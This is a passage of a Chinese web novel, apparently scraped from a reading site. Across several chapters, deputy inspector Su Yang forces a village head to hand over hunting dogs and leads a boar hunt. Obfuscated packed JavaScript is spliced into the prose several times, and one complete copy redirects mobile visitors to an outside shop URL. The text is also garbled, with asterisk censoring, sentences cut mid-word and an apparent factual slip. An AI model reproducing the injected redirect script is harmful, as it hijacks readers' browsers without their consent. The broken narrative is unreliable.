依山村就惨了,整个村子就挤在青岭的一个山坳里,巴掌大点的地方,连只鸟都嫌挤。 人多了地不够分,不打猎吃啥? 所以,依山村的猎户比青龙村多。 阴弓叔这一趟出门,走得那叫一个顺溜。 可回来的时候,就跟霜打的茄子似的,蔫头耷脑的。 一直等到月亮都爬上树梢了,才拖着疲惫的身子爬上卧龙沟。 听说阴弓叔回来了,苏阳带着几个小子,打着火把就迎了出去。 离得老远,就看见阴弓叔一个人孤零零地走着,身后空空如也。 苏阳心里咯噔一下,有了不好的预感。 果然,走近了一看,阴弓叔的脸色比锅底还黑。 “阳哥儿,我对不住你,狗……我没借回来。” 阴弓叔的声音低沉沙哑,头都快垂到胸口了。 苏阳一愣,赶紧笑着打哈哈: “没事,阴弓叔,你肯定累坏了吧?走走走,先回去吃饭,有啥事吃饱了再说!” 苏阳一边说着,一边给旁边的小子使眼色。 几个小子会意,赶紧上前扶住阴弓叔。 阴弓叔心里那叫一个熨帖。 这要是换成以前的村长赖志成,事儿没办成,哪管你死活,张口就是一顿狂喷! 回到家,热腾腾的饭菜已经摆上了桌。 阴弓叔也不客气,端起碗就狼吞虎咽起来。 酒足饭饱之后,阴弓叔才缓过劲来,把去依山村的经过一五一十地说了。 原来,这依山村和青龙村,虽然都靠着青岭吃饭,但两村的猎户却不对付。 说白了,还是因为争夺猎物那点事。 依山村的猎户仗着人多势众,本事也强些,没少欺负青龙村的猎户。 阴弓叔年轻那会儿,血气方刚,可没少跟依山村的猎户干仗,结下了不少梁子。 这次阴弓叔为了借狗,也算是豁出去了,拉下老脸去求人。 后果不言而喻,谁会把狗借他简直做梦! 不仅狗子没到手,阴弓叔还被依山村的人指着鼻子数落了一通。 说他缺了一只手还不老实,不在家好好待着,还想进山打猎? 自己找死也就算了,莫坑害别人家的汪星人…… 苏阳听完,火腾地一下就上来了,一拍桌子,震得碗筷乱跳。 阴弓叔这是为了谁?还不是为了自己! 这口气,说什么也得给阴弓叔找回来!晨曦微露,苏阳一行人已整装待发。阴弓叔和十几个精壮小伙紧随其后,目标直指——依山村。 一行人脚下生风,踏着崎岖山路,一路疾行。抵达临溪村,稍作休整,又马不停蹄地朝西北方向奔去。 几里路后,视野逐渐开阔,青岭已在眼前。 又行半个时辰,地势豁然开朗,依山村的轮廓在山雾中若隐若现。 村子坐落在一个山坳里,四面环山。冬季虽能避风,却也导致耕地稀少,日子过得比青龙村还要紧巴。 为求生计,许多村民不得不冒险进山打猎,久而久之,依山村便以猎户众多而闻名。 然而,阴弓叔却向苏阳道出了这繁荣背后的辛酸。 “靠山吃山,可这山,也**呐。”他叹了口气,声音低沉,“两个猎人进山,多半就得有一个回不来。就算能活着回来,身上也留下了不少病根。常年在山里风餐露宿,哪有几个能熬出头的?” 深山之中,依山村的村**惕性极高,不仅修筑了坚固的村墙,有人24小时盯着。 苏阳一行人尚未靠近,就被村口的守卫拦了下来。 “站住!干什么的?”守卫手持长矛,厉声喝问。 孔远山眼一瞪,扯着嗓子吼:“瞎了狗眼!连苏二爷都不认识?这是咱们三溪镇新上任的副巡检,还不快去叫你们村正滚出来迎接!” 为了方便行事,苏阳今日特意穿上了官服,一身皂吏打扮,倒也显出几分威严。 守村的村民一见这身行头,心里咯噔一下,哪敢怠慢,一个转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行了,别跟我扯这些没用的。”苏阳的声音冰冷而低沉,“夏岭,我今天来,不是跟你闲聊的。我只问你一句,我兄弟乔七,前几日来你这儿借狗,你可曾为难过他? 第三百二十六章 ” 夏岭一听这话,脸色瞬间变得煞白。他怎么也没想到,苏阳竟然是为了这事而来。 “这……这……”夏岭支支吾吾,半天说不出个所以然。 苏阳冷哼一声,步步紧逼:“怎么,想不起来了?要不要我帮你回忆回忆?” “不,不,不用。”夏岭连忙摆手,脑袋摇得跟拨浪鼓似的,“巡检大人,这都是误会,误会啊!” “误会?”苏阳冷笑一声,“好一个误会!我兄弟好心好意来借狗,你们却百般刁难,还出言羞辱。这就是你所谓的误会?” “我……”夏岭一时语塞,不知该如何辩解。 “行了,我也不跟你废话。”苏阳的语气突然变得强硬起来,“今天这事,你要是不给我一个满意的交代,就别怪我不客气!” 夏岭吓得一哆嗦,连忙说道:“巡检大人息怒,这事都是小老儿的错。您放心,我一定给您一个满意的交代。” “交代?你准备怎么交代?”苏阳步步紧逼。 “我……我……”夏岭吞吞吐吐,半天说不出个所以然。 “这样吧,我也不为难你。”苏阳嘴角微微上扬,露出一丝玩味的笑容,“听说你们依山村猎户多,好狗也不少。这样,你给我挑几条上好的猎犬,这事就算过去了。如何?” 夏岭一听这话,顿时傻眼了。 要说其他东西,他咬咬牙也就认了。可这猎犬,那可是猎户的命根子啊! 依山村的猎户,虽说比其他村子多些,但也不是家家户户都养得起狗。 养狗的成本可不低,除了喂食,还得训练、照料。 一般人家,连自己都养不活,哪还顾得上这些? 整个依山村,真正算得上好猎手的,也就那么十几个。 这些人里头,养狗的更是屈指可数。 所有会狩猎的猎犬,都是猎户们的心头肉,比老婆孩子还亲。 现在苏阳张口就要几条,这简直比割他们的肉还疼! “怎么,不愿意?”苏阳见夏岭犹豫不决,脸色顿时沉了下来。 “不,不,不是不愿意。”夏岭连忙摆手,“只是,这好狗……实在难寻啊。” 他心里盘算着,能不能用几条普通的狗糊弄过去。 可一想到苏阳那**不眨眼的狠辣手段,他又立刻打消了这个念头。 “难寻?我看是不想给吧?”苏阳冷哼一声,“夏岭,我可不是来跟你商量的。今天这狗,你是给也得给,不给也得给!” 夏岭见苏阳态度坚决,知道这事是躲不过去了。 他咬了咬牙,心一横,说道:“巡检大人,您稍等,我这就去给您找狗。” 说完,他转身对身后的人吼道:“发什么呆呢?赶紧去把村里最好的几条狗都给我牵过来!” 那些人一听,顿时如丧考妣,一个个哭丧着脸,却又不敢违抗,只得垂头丧气地去了。 没过多久,几条**色各异的麻虎被牵了过来。 有青色的、黄色的,还有黑色的,每一条都精神抖擞,一看就是猎犬中的佼佼者。 几条狗被牵到苏阳面前,还不等他仔细挑选,后面就传来一阵撕心裂肺的哭喊声。 “村正老爷,您行行好,把大白还给我吧!那可是我们一家老小的命根子啊!” “村正老爷,您不能这样啊!没了黑子,我们一家人可怎么活啊!” 几个中年汉子跪倒在地,抱着夏岭的大腿,哭得死去活来,显然是这些狗的主人。 夏岭一脚踢开一个,怒吼道:“哭什么哭?大官看中你家的狗,那是你们的福气!再敢啰嗦,老子把你们全家都赶出依山村!” 几个猎户被夏岭的凶狠吓住了,顿时不敢再哭喊,只是跪在地上,一个劲儿地磕头。 苏阳冷眼旁观,对夏岭的做派不置可否。他走到几条狗面前,仔细端详起来。“且慢!” 苏阳抬手,制止了两个帮闲。 他微微眯起眼睛,盯着那两个跪在地上的猎人,语气里带着一丝玩味: “磕头就免了。我倒想问问,你们这两条狗,真有本事打猎?可别是徒有其表,中看不中用。” 两个猎人对视一眼,心里头七上八下。 村正夏岭他们惹不起,可眼前这位爷,似乎更不好糊弄。 但要说自家狗不行,那是万万不能认的! “大老爷,您可别小瞧了它们,”其中一个猎人梗着脖子,声音都有些发颤,“这可是咱依山村数一数二的好狗,上山撵兔子追狍子,就没失过手!” 另一个也赶紧帮腔:“就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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”苏阳皱着眉头问道。 两个猎人一听,吓得一个激灵,连忙小跑过来,点头哈腰: “大老爷,俺们……” 其中一个猎人刚想解释,又被苏阳打断: “你们是担心自己的狗?” “是,大老爷,俺们怕……” “怕它们伤着,还是怕它们跑了?”苏阳似笑非笑。 “都……都有……”两个猎人不敢隐瞒。 苏阳指了指身边的阴弓叔: “阴弓叔也是打猎的好手,让他带着你们的狗,你们还有什么不放心的?” 阴弓叔跟这两个猎人一样,都是靠打猎吃饭的。 看到他们的遭遇,阴弓叔心里也有些不是滋味。 想当初,自己不也是这样,被人欺负了连个屁都不敢放? 现如今,自己跟着苏阳,算是跳出了火坑。 可这两个人,还陷在泥潭里挣扎呢! 都是同行,能帮一把就帮一把吧! 他犹豫了一下,还是开口求情: “阳哥儿,要不……随他们爱跟不跟?这狗啊,跟人一样,也认生。刚换了主人,使唤起来肯定不如以前顺手。” 顿了顿,补充道: “有他们在,也能多个照应。” 阴弓叔说的也是实情。 给他一段时间,他有把握把这两条狗调教好。 可眼下时间紧迫,苏阳可没工夫等他慢慢调教,况且这次的目标是狗熊,还是有经验的人带着比较好。 既然阴弓叔开了口,苏阳自然不会驳他的面子。 再说,他也没想过真要把这两个人往死路上逼。 刚才之所以那么强硬,不过是为了杀鸡儆猴,免得以后麻烦。 “那好吧,”苏阳点了点头,“你们两个,过来。” 两个猎人如蒙大赦,连滚带爬地跑到苏阳面前。 苏阳盯着他们,一字一顿地说道: “丑话说在前头,这次进山,是为了猎熊。要是你们的狗不听使唤,或者你们敢耍什么花样,别怪我不客气!” 两个猎人吓得脸色煞白,连忙赌咒发誓: “大老爷放心,俺们就是把自己搭进去,也一定把熊给您猎来!” “就是,大老爷,您就瞧好吧!” 苏阳这才缓和了脸色: “行了,只要你们好好表现,等猎到了熊,我就把猎犬还你们。” 两个猎人惊得下巴都要掉了。 这……这是真的? 这位大老爷,竟然这么好说话? “还愣着干什么?还不快谢谢大老爷!”阴弓叔在一旁提醒道。 “谢谢大老爷!谢谢大老爷!” 两个猎人这才反应过来,连忙跪倒在地,咚咚咚地磕起了头。 “别光顾着谢我,”苏阳摆了摆手,“你们得听阴弓叔的指挥。要是坏了事,我绝不会放过你们!” “是是是,俺们一定听阴弓叔的!” 两个猎人连连点头。 不说别的,就凭阴弓叔刚才替他们求情,这份恩情他们就不能不报。 走在平地上还好,可等苏阳一行人下了卧龙沟,踏上冰面,两个依山村的猎人就傻眼了。 “这……这是要干啥?” 其中一个猎人看着滑溜溜的冰面,一脸的茫然。 另一个猎人也有些发懵: “大路不走非要找死,这是要……玩冰?” 可当苏阳他们从背篓里取出一样样奇怪的物事,套在脚上,然后像鱼儿一样在冰面上飞驰起来时,两个猎人才明白过来。 这哪是玩啊,这分明是……赶路! “这……这也太快了吧?” 一个猎人忍不住惊呼出声。 另一个猎人也张大了嘴巴,半天合不拢。 他们祖祖辈辈生活在依山村,还是头一次见到这种赶路的方式。 苏阳看着两个猎人震惊的样子,也有些无奈。 来的时候光顾着高兴了,压根没想到回去还要带上这两个家伙。 问题是,这两个人也不会滑冰啊! 他挠了挠头,有些犯难。 总不能把他们扔在这儿吧? “算了,你们两个,牵着狗,慢慢走回去吧。” 苏阳想了想,说道。 “啊?” 两个猎人一愣。 “我们在青龙村等你们。” 苏阳补充了一句,然后示意手下把狗绳交还给他们。 “这……” 两个猎人接过狗绳,你看看我,我看看你,一时间都有些不知所措。 让他们走回去? 这大冬天的,冰天雪地的,得走到什么时候去? 可是,不走又能怎么样? 难道还能指望这位大老爷改变主意? 看着苏阳一行人渐渐远去的背影,两个猎人心里五味杂陈。 走?还是不走? 这似乎已经不是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阳哥儿,您就别为难远山哥了,他那脑子,哪能想明白这些事儿啊!” 有人实在看不下去了,出声替孔远山解围。 第三百二十八章 苏阳倒也没再揪着孔远山不放,目光扫过众人,缓缓开口: “其实,压根猜不透他们要不要跑路……” 一众小子:“……” 所有人都懵了,一个个张大了嘴巴,半天合不拢。 还以为您老人家料事如神,早就把一切都算计好了呢! 闹了半天,您心里也没底啊! 没底您还敢放任他们自己赶路,万一真跑了,那不就鸡飞蛋打了吗? 苏阳看着众人脸上那变幻莫测的表情,心里头暗自好笑。 他故意停顿了一下,吊足了众人的胃口,这才慢悠悠地开口: “想必各位都很想知道,反正也搞不清他们到底溜不溜,为啥还敢这么做?” 众人脑袋点得像小鸡啄米,眼睛里闪烁着求知的光芒。 “行,既然你们这么想知道,那我就告诉你们。不过,你们回去后都得好好琢磨,把这事儿给我想透彻了!” 苏阳清了清嗓子,继续说道: “我不怕他们跑,是因为他们真要敢跑,我就有借口收拾夏岭了。两条狗算个屁,我更想收拾的是那个老东西,明白了吗?” “啊?” 众人面面相觑,一个个都惊呆了。 他们万万没想到,苏阳竟然已经把事情想得这么远了! 这格局,这境界,根本就不是他们这些普通人能比的啊! 苏阳是真的动了肝火。 之前在三溪镇,他已经把几个村正收拾得服服帖帖,可这夏岭竟然还敢阳奉阴违,暗地里搞小动作? 这不明摆着没把他苏阳放在眼里吗! 要不是夏岭见机快,当场就怂了,苏阳当时真想直接送他上西天! 这些个村正,平日里横行乡里,没一个好东西,就算把他们千刀万剐了也不冤! 苏阳算是看明白了。 对付这些老狐狸,不来点狠的,他们永远不知道“怕”字怎么写。 要想在三溪镇这一带站稳脚跟,就必须得把这些老狐狸彻底打服,不然以后的麻烦事儿肯定少不了! …… 可惜,依山村那两个猎人没给苏阳发飙的机会。 过了小半天,两人竟然真就牵着狗,一步三回头地蹭到了青龙村。 苏阳也没为难他们,两个跑腿的而已,跟夏岭那老狐狸又不是一条心。 “行了,把狗牵过来吧,先喂点东西。” 苏阳对手底下干活的人,一向不抠搜。 他让两个猎人先坐下歇会儿,又吩咐人给两条猎犬准备吃的。 “猪肝?这么大块?” 一个猎人看着手里沉甸甸的猪肝,眼珠子都快瞪出来了。 另一个猎人也差不多,使劲咽了口唾沫,喉结上下滚动。 他们两个在依山村也算是有头有脸的人物,可平时也金贵着呢,哪能这么糟蹋好东西? 别说喂狗了,就是他们自己,一年到头也吃不上几回肉。 平常给狗吃的,都是些麦麸、野菜之类的玩意儿,能填饱肚子就不错了。 有时候狗饿急了,独自钻进深山觅食去了。 可没有主人帮忙,猎犬想抓到猎物谈何容易? 经常是饿一顿饱一顿,一个个都瘦得皮包骨头。 今天倒好,直接上猪肝了! 两条狗哪见过这阵势,围着苏阳直摇尾巴,哈喇子流了一地。 苏阳也不嫌脏,笑眯眯地把猪肝扔给它们,看着它们狼吞虎咽地吃了起来。 两个猎人看着自家狗那没出息的样子,心里头五味杂陈。 要说这吃食,他们也不是没见过。 可平时在依山村,别说这么大块的猪肝了,就是有点肉腥味的汤,那都得紧着家里人先吃。 哪能像现在这样,大块大块的肉,眼睛都不眨一下就喂了狗? 正当两人感慨万千的时候,饭菜也端上来了。 满满一大盆红烧肉,堆得像小山一样,油汪汪的直冒香气。 旁边还摆着几摞雪白的大馒头,个头比他们的拳头还大。 “这……这都是给咱们吃的?” 一个猎人结结巴巴地问道,眼睛都直了。 “可不就是给你们吃的?敞开了吃,不够还有!” 苏阳笑着招呼道。 两个猎人对视一眼,都从对方眼中看到了深深的震撼。 这哪是吃饭啊,这简直比过年还丰盛! 在依山村,他们也算是见过世面的人了。 可像今天这样,大鱼大肉管够的场面,还真是头一回见。 两人也不客气,甩开腮帮子就吃了起来。 红烧肉肥而不腻,入口即化,香得能把舌头都吞下去。 大馒头暄软可口,麦香味十足,越嚼越有劲。 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且,还不是稀得能照见人影的米汤! 是实实在在的干饭,喷香的白面馍馍! 第三百二十九章 青龙村的人说了,能够追随副巡检大人,一日三餐,顿顿管饱,还能见荤腥! 这日子…… 一个猎人忍不住吞了口唾沫,比过年还舒坦! 另一个猎人眼神闪烁,心里跟猫抓似的。 起初,他们还以为苏阳和依山村的村正夏岭一样,是个吸血的扒皮,心狠手辣。 可后来,听青龙村那几个小子吹嘘,才知道苏阳之前比他们还惨,穷得叮当响。 “苏生儿那是时来运转,你懂个屁!” 一个小伙计撇了撇嘴,一脸不屑。 “人家那是大难不死,必有后福!听说是被哪路神仙给看上了,这才咸鱼翻身!” 另一个小伙计补充道, “金银财宝,要多少有多少,眼睛都不带眨一下的!” 两个猎人将信将疑,心里直打鼓。 不过,眼前这白花花的馍馍,热腾腾的肉汤,可做不得假。 就说那阴弓叔,原本是个什么人? 村里出了名的倒霉蛋,打猎摔断了腿! 可跟了苏阳,现在一天能领五升粮食回家! 五升啊! 一个猎人忍不住攥紧了拳头,心里盘算着,自己要是能有这待遇…… 哪怕一半,不,四分之一!也够一家老小活命了! 另一个猎人眼神闪烁,呼吸都有些急促。 得好好表现! 让副巡检老爷瞧得上咱! 往后定当为他狩猎,当他的左膀右臂,不,当牛做马都行! …… 上次进山,刚下过雪。 大雪封山,野兽们大多躲在窝里猫冬,轻易不出来。 雪停两三天,这些家伙饿得受不了,出来觅食,雪地上就会留下痕迹。 这时候进山,收获才大。 苏阳带了两条猎犬,都是阴弓叔精心调教出来的。 都是撵山的好手。 刚进山没多久,就在一处背风的雪窝子旁停了下来。 雪地上,散落着一些啃得干干净净的骨头,还有一些凌乱的毛发。 阴弓叔蹲下身,仔细查看了一番。 “是头驴,看样子**有些日子了。” 阴弓叔捻了捻地上的雪,又放在鼻子底下闻了闻, “是熊干的。这畜生吃饱了,把剩下的藏起来了,估摸着就在这附近。” 两个依山村的猎人也凑过来,仔细辨认了一番,都点了点头。 “放狗,搜!” 苏阳言简意赅。 两条猎犬得了令,撒开欢儿地在周围搜寻起来。 猎人们也打起了十二分精神,紧紧跟在后面。 “汪汪……” 突然,远处传来一阵急促的狗叫声。 “走,瞧瞧去!” 苏阳一马当先,循声追去。 翻过一道山梁,只见下面的山坳里,一对猎犬正在逼近那头山猪,龇牙咧嘴,却不敢贸然上前。 这野猪可真够壮的,一身鬃**像钢针一样竖着,少说也有三四百斤。 两颗獠牙又尖又长,在阳光下闪着寒光,一看就不好惹。 大灰和大白一左一右,在那头山猪周围徘徊。 时不时地低吼几声,像是在寻找进攻的机会。 见主人来了,两条狗叫得更欢了,像是打了鸡血一样。 大灰狗仗着身形灵活,瞅准一个空当,猛地扑了上去,一口咬住野猪前腿后面的软肉。 “嗷呜……” 野猪吃痛,猛地一甩头,巨大的身躯直接将大灰狗撞飞了出去。 大灰狗在雪地上滚了几圈,发出几声哀鸣。 “大灰!” 大灰狗的主人脸色煞白,心疼得直哆嗦,拔腿就想冲上去。 可刚跑出两步,就被阴弓叔一把拉住。 “别过去,小心野猪!” 阴弓叔厉声喝道。 话音未落,大灰狗已经挣扎着站了起来,似乎没啥大碍,只是有些晕头转向。 可还没等它站稳,那野猪就红着眼,像一辆失控的战车一样,朝它猛冲过来! 这一下要是撞实了,大灰狗不死也得残废! 就在这千钧一发之际,大白狗动了。 只见它身形一闪,如同鬼魅般出现在野猪身后,一口咬住了野猪的屁股。 “嗷呜……” 这一口,正中要害,野猪疼得浑身一哆嗦,发出一声凄厉的惨叫,震得山谷都嗡嗡作响。 原本冲向大灰狗的庞大身躯,硬生生停了下来。 大白狗一看偷袭得手,毫不恋战,立刻松口,扭头就跑。 野猪吃了个大亏,哪里肯放过它? 调转方向,迈开四蹄,朝着大白狗就追了上去。 大白狗仗着灵活,在山坳里左冲右突,速度快得惊人。 野猪虽然体型庞大,但也不笨,紧追不舍。 眼看大白狗就要被追上,大灰狗缓过劲来了。 它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们眼巴巴地望着自家那两条宝贝狗,心都提到了嗓子眼。 恨不得以身代狗,又怕苏阳不答应,只能干着急。 第三百三十章 猎犬对猎人来说,那是比婆娘还亲的宝贝。 有时候,猎人宁可自己饿肚子,得给狗子们填饱肚子。 一条好猎犬,不仅能看家护院,危急关头懂得保护主人,必要时还能保护主人一命。 可苏阳带来的这两条狗,虽然能时不时偷袭一下野猪的屁股,但那大家伙皮糙肉厚,根本不在乎。 野猪那一身蛮力,稍微蹭到狗,就是筋断骨折的下场。 尤其是这头公猪,一对月牙般的尖牙,要是被它扎上一下,狗不死也得丢半条命。 正因如此,有经验的猎人都知道不能硬来,只能智取。 而那些没带猎犬的猎手,还是别凑热闹了。 野猪又不是傻子,打不过还不会跑? 人两条腿哪儿追得上人家四条腿? 唯有身边跟着几条神犬的猎手,才有机会放手一搏。 得靠猎犬先把野猪拖住,等把它耗得筋疲力尽,再上去结果了它。 不过,这法子太耗时间,变数也太多了。 一个不留神,不是猎犬遭殃,连猎手自己都挂彩。 眼瞅着自家的狗把野猪缠得死死的,两个猎人急得像是热锅上的蚂蚁。 “苏生儿,咱爷们上吧!” “再等下去,大灰大白怕是要吃亏!” 他们担心狗出意外,主动请缨,想上去帮忙。 苏阳微微抬手,示意他们稍安勿躁。 他可不是为了看什么“狗斗野猪”。 “石头,” 苏阳拍了拍陈木生的肩膀, “你带十个小子下去,记住,别伤着狗。” 陈木生跟苏阳的时间最长,一个眼神就知道他想干啥。 这是要练兵。 “明白!” 陈木生答应一声,冲着身后一招手。 十个精挑细选的小子,立马跟了上去。 苏阳又扭头看向毕明志: “明志,你带几个弓箭手在后面压阵,以防万一。” “是!” 毕明志点点头,带着几个背着蹬张**的弓箭手,紧随其后。 那两个依山村的猎人,直接愣在当场。 其中一个忍不住嘀咕: “这是弄啥嘞?放着好好的**不用,非要上去拼命?” 另一个也是一脸懵: “谁知道呢,这苏生儿,怕不是个愣头青吧?” 阴弓叔摸着下巴,若有所思。 他隐约觉得,苏阳这么做,肯定有他的道理。 要不然,这些原本不起眼的后生,怎么一个个都变得这么能打? 肯定不是凭空变出来的。 再说场上。 那两条猎犬贼精,眼瞅着自己人下来了,立马来了精神头。 它们配合默契,一左一右,把大野猪卡在中间,不让它跑。 大野猪急得团团转,却又不敢轻举妄动。 两条狗已经摸透了它的路数,专挑软柿子捏。 只要野猪稍有异动,就去掏它的裆。 大野猪就算皮再厚,也架不住这阴招啊,只能干嚎。 这么一耽搁,陈木生已经带着人赶到了。 十来个小子排成一个半圆形,将野猪逼到巨石前进退不得。 两位猎手见合围之势已成,赶紧吹响了口哨。 一对猎犬听闻主人呼唤,虽然恋恋不舍,也只能乖乖地退了回来。 大野猪眼瞅着那两个讨厌的家伙终于走了,顿时精神大振。 它低吼一声,撒开蹄子就往前冲! “结阵!” 陈木生大吼一声。 关于如何对付骑兵冲锋,苏阳可没少教他们。 不仅有理论讲解,竟然骑着战马,让这些小子们反复演练。 眼前这头大野猪虽然不是战马,但它冲起来的威势,可一点儿也不比战马差。 腥风扑面,熏得人睁不开眼! 换做平时,猎人见了这阵势,早就吓得腿软了。 可这些小子,都是苏阳一手调教出来的。 他们虽然紧张,但还是下意识地按照平时训练的那样,举起手中的獠矛。 枪尾抵地,枪尖斜指前方。 说时迟,那时快。 就在这些小子们刚刚摆好阵势的瞬间,大野猪已经冲到了跟前! 这头畜生,平日里横行霸道惯了。 它以为,眼前这些两脚兽,不过是一群乌合之众。 根本没把那些木棍放在眼里,一个猛冲就杀了过去! 眼瞅着大野猪往枪阵上撞,阴弓叔和那两个猎人,全都捏了一把汗。 他们可从来没见过这场面,心里也没底。 其实,心提到嗓子眼的不光是这帮猎手。 就连苏阳也忍不住提心吊胆。 他上辈子不过是个普通人,哪见过这阵仗? 万一要是被这头大野猪冲破了防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他转过身,望向那两个被野猪撞飞的同伴,一颗心顿时提到了嗓子眼。 “都别动!让钱医生来!” 就在石头要冲过去查看的时候,苏阳一声大喊,如惊雷般在山间炸响,制止了所有想去搀扶的人。 第三百三十一章 苏阳前世里看过不少急救常识,他深知,这种时候,除非有专业的医疗知识,否则胡乱移动伤员,很可能会导致二次伤害。 与其急吼吼地去扶人,不如让伤员保持原样,等待专业人士的救助。 “钱福生!你在哪儿呢?快过来!” 苏阳扯着嗓子大喊,声音在山谷间回荡。 钱福生其实就跟在队伍后面,只不过稍微落后了几步。 他可不是被苏阳硬拉来的,而是自己主动请缨。 自从听苏阳说要来猎熊,钱福生就坐不住了,非要跟着来。 苏阳一开始还纳闷,以为他是想凑热闹。 结果一问才知道,敢情钱福生是怕他们这些门外汉糟蹋了熊身上的宝贝。 “熊这一身,可都是好东西啊!”钱福生当时就跟苏阳念叨开了,“熊掌、熊鼻子,还有那虎骨,都是极品药材!尤其是虎骨,那可是千金难求的宝贝!” 他生怕苏阳他们不懂行,把这些宝贝给糟蹋了。 “不过,取虎骨可是个技术活,一般人弄不了。”钱福生又补充了一句,语气里透着一股子专业人士的自信。 既然钱福生这么热心,苏阳自然是求之不得。 他本来就对处理猎物一窍不通,有这么个“专家”跟着,心里也踏实。 更何况,有个大夫跟着,要是有人挂彩,也能及时救治。 “快,快看看他们怎么样了!” 苏阳也顾不得喘口气,指着躺在地上的两人,急切地催促钱福生。 钱福生也知道情况紧急,顾不上抱怨,深吸一口气,稳住心神,蹲下身子开始仔细检查。 “还好,还好……” 钱福生一边检查,一边嘴里还念叨着,额头上已经渗出了一层细密的汗珠。 他先是摸了摸两个小子的脉搏,又翻了翻他们的眼皮,最后才开始检查他们的肢体。 “一个扭了脚,一个断了两根肋骨,都不算太严重。” 钱福生最后给出了诊断结果。 “咔吧!” 钱福生给断了肋骨的小子正骨时,那可真是干脆利落。 他双手一托一按,只听得“咔吧”一声,就把断骨给接上了。 随后,他从自己腿上解下绑腿,熟练地给那小子缠上。 这绑腿还是苏阳教给大家的,说是学自一支了不起的军队。 苏阳说,行军打仗的时候,在腿上绑上这玩意儿,能走更远的路,不容易累。 “行了,俩人都没事,回去躺着养些日子。” 钱福生拍了拍手,站起身来,对苏阳说道。 可那两个小子一听这话,顿时就急眼了。 “啊?要躺着养?那得多久啊?” 其中一个哭丧着脸问道,他可不想错过接下来的行动。 另一个虽然没说话,但也是一脸的沮丧。 钱福生看着他们,一脸严肃地说道: “扭伤了脚,起码得养一个月,不然以后容易瘸。断了肋骨的,更得小心,两个月内不能干重活,不然以后有你受的!” 两个小子一听,顿时蔫了,跟霜打的茄子似的。 钱福生忙着给两个小子治伤,苏阳也没闲着,他走到那两条猎犬跟前。 “得给它们点儿奖励,不然下次可就没这么卖力了。”苏阳心里琢磨着。 不过,具体怎么喂,喂多少,他还真拿不准。 他可不想好心办坏事,万一喂多了,把狗给喂坏了,那可就得不偿失了。 “你们俩过来,这狗怎么喂,你们说了算。” 苏阳把那两个依山村的猎人叫了过来,直接把喂狗的“大权”交给了他们。 两个猎人一听,顿时来了精神。 他们走到那条已经被开膛破肚的野猪跟前,熟练地割下了一块猪心。 “狗都喜欢吃内脏,尤其是心肝这些,营养好,又容易消化。” 其中一个猎人一边说着,一边把猪心切成两半,丢给了一左一右两只狗。 一对猎犬瞬间冲了过去,狼吞虎咽地吃了起来。 不一会儿,猪心就被吃了个精光,它们又眼巴巴地望着两个猎人,还想再吃点。 “不能再喂了。” 另一个猎人摇了摇头,说道。 “为啥啊?” 苏阳有些不解,他还以为要让狗吃饱呢。 “阳哥儿,您有所不知。” 阴弓叔这时候走了过来,解释道: “这狗啊,跟人一样,吃饱了就犯懒。咱们要是想继续打猎,不能让它们撑着,不然它们可就跑不动了。” “原来是这样。” 苏阳恍然大悟,看来自己还真是个外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610465|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。 “以后啊,这打猎的事情,你们多上点心,有什么不对的,尽管跟我说,别藏着掖着的。” 苏阳朝着两位猎手开口,语气很是诚恳。 两个猎人听了,心里都是一阵感动。 他们跟过不少人打猎,可从来没有一个像苏阳这样,这么信任他们,还这么虚心好学的。 “这苏副巡检,真是个干大事的人!” 两个猎人在心里暗自感叹,对苏阳更是佩服得五体投地。 